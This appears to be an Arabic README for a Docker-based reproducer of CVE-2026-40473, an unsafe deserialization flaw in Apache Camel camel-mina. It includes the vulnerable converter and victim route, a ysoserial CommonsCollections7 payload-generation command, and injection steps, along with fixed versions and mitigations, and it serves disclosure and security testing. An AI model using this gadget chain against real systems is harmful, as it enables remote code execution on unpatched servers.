
مكرر لـ CVE-2026-40473: إلغاء التسلسل غير الآمن لـ MinaConverter.toObjectInput في Apache Camel camel-mina (RCE عبر TCP/UDP)
يُظهر هذا المشروع ثغرة إلغاء تسلسل في Java في مكوّن Apache Camel camel-mina، المُتتبّع باسم CVE-2026-40473. يُغلّف محوّل النوع MinaConverter.toObjectInput(IoBuffer) البايتات المُستلمة في ObjectInputStream خام بدون ObjectInputFilter، لذا يمكن للمسار الذي يحوّل نص TCP/UDP إلى ObjectInput ويستدعي readObject() أن يُستغلّ لـ تنفيذ أكواد عن بُعد من قبل مهاجم يُرسل كائنًا مُتسلسلًا معدلًا إلى منفذ MINA.
إرشادات: https://camel.apache.org/security/CVE-2026-40473.html
يُغلّف محوّل النوع IoBuffer → ObjectInput المخزّن المؤقت في ObjectInputStream خام:
// MinaConverter.toObjectInput(IoBuffer) - الإصدار المتأثر
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = buffer.asInputStream();
return new ObjectInputStream(is); // لا يوجد ObjectInputFilter
}
عندما يُوصّل مُستهلك camel-mina TCP/UDP البايتات الخام (مثلاً مع allowDefaultCodec=false) ويطلب المسار ObjectInput (getBody(ObjectInput.class), @Body ObjectInput, أو convertBodyTo(ObjectInput.class))، يعمل هذا المحوّل. يؤدي استدعاء readObject() على الدفق المُعاد إلى تنفيذ أي سلسلة أدوات في البايتات التي قدمها المهاجم.
from("mina:tcp://0.0.0.0:5555?sync=false&allowDefaultCodec=false")
.process(exchange -> {
ObjectInput oi = exchange.getIn().getBody(ObjectInput.class); // MinaConverter.toObjectInput
Object obj = oi.readObject(); // مغسلة إلغاء التسلسل
exchange.getMessage().setBody("deserialized: " + obj);
});
mvn clean package -DskipTests
docker compose up -d --build
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# على JDK 21 أضف --add-opens لتوليد أدوات CommonsCollections:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" --data-binary @payload.b64
# يقوم المساعد المرفوع بفتح مقبس TCP خام إلى mina:5555 وكتابة البايتات؛ يقوم المسار الضحية
# بتحويلها إلى ObjectInput واستدعاء readObject().
# -> ">>> دليل RCE — /tmp/pwned موجود: true"
(منفذ MINA 5555 داخلي للحاوية في هذا الإثبات؛ يقوم مساعد /exploit/inject بإرسال TCP الخام من الداخل. قم بكشف المنفذ 5555 للإرسال من المضيف باستخدام عميل خام مثل nc.)
docker exec cve-2026-40473 ls -la /tmp/pwned
docker compose down
أي مُستهلك TCP أو UDP في camel-mina يقوم مساره بتحويل النص إلى ObjectInput (مباشرة، عبر @Body ObjectInput، أو convertBodyTo(ObjectInput.class)) يمكن استغلاله من قبل أي شخص يمكنه الوصول إلى منفذ MINA.
ObjectInput.commons-collections:3.2.1).قم بالترقية إلى 4.14.6 / 4.18.2 / 4.20.0. يطبق الإصلاح ObjectInputFilter / قائمة مسموح بها للفئات على المحوّل (مطابقاً للتعزيز المطبق على camel-netty و camel-jms و camel-infinispan).
إلى حين الترقية:
ObjectInput / لا تقم بإلغاء تسلسلها.CVE-2026-40473/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── MinaObjectRoute.java # الضحية: from(mina:tcp).getBody(ObjectInput).readObject()
│ └── ExploitController.java # /inject: يرسل بايتات متسلسلة عبر TCP إلى mina:5555
└── resources/
└── application.properties
هذا المُعيد مُقدم للبحث الأمني والاختبار المصرح به فقط، لثغرة مُفصح عنها علناً ومُصلحة. لا تستخدمه ضد أنظمة دون إذن صريح.
| الخاصية | القيمة |
|---|
| المكوّن | camel-mina |
| الفئة المتأثرة | org.apache.camel.component.mina.MinaConverter (toObjectInput) |
| CWE | CWE-502: إلغاء تسلسل بيانات غير موثوقة |
| التأثير | تنفيذ أكواد عن بُعد (RCE) عبر TCP/UDP |
| الإصدارات المتأثرة | من 3.0.0 قبل 4.14.6، من 4.15.0 قبل 4.18.2، من 4.19.0 قبل 4.20.0 |
| الإصدارات المُصحَّحة | 4.14.6، 4.18.2، 4.20.0 |
| JIRA | CAMEL-23319 |
| المُبلِّغ | Venkatraman Kumar (Securin) |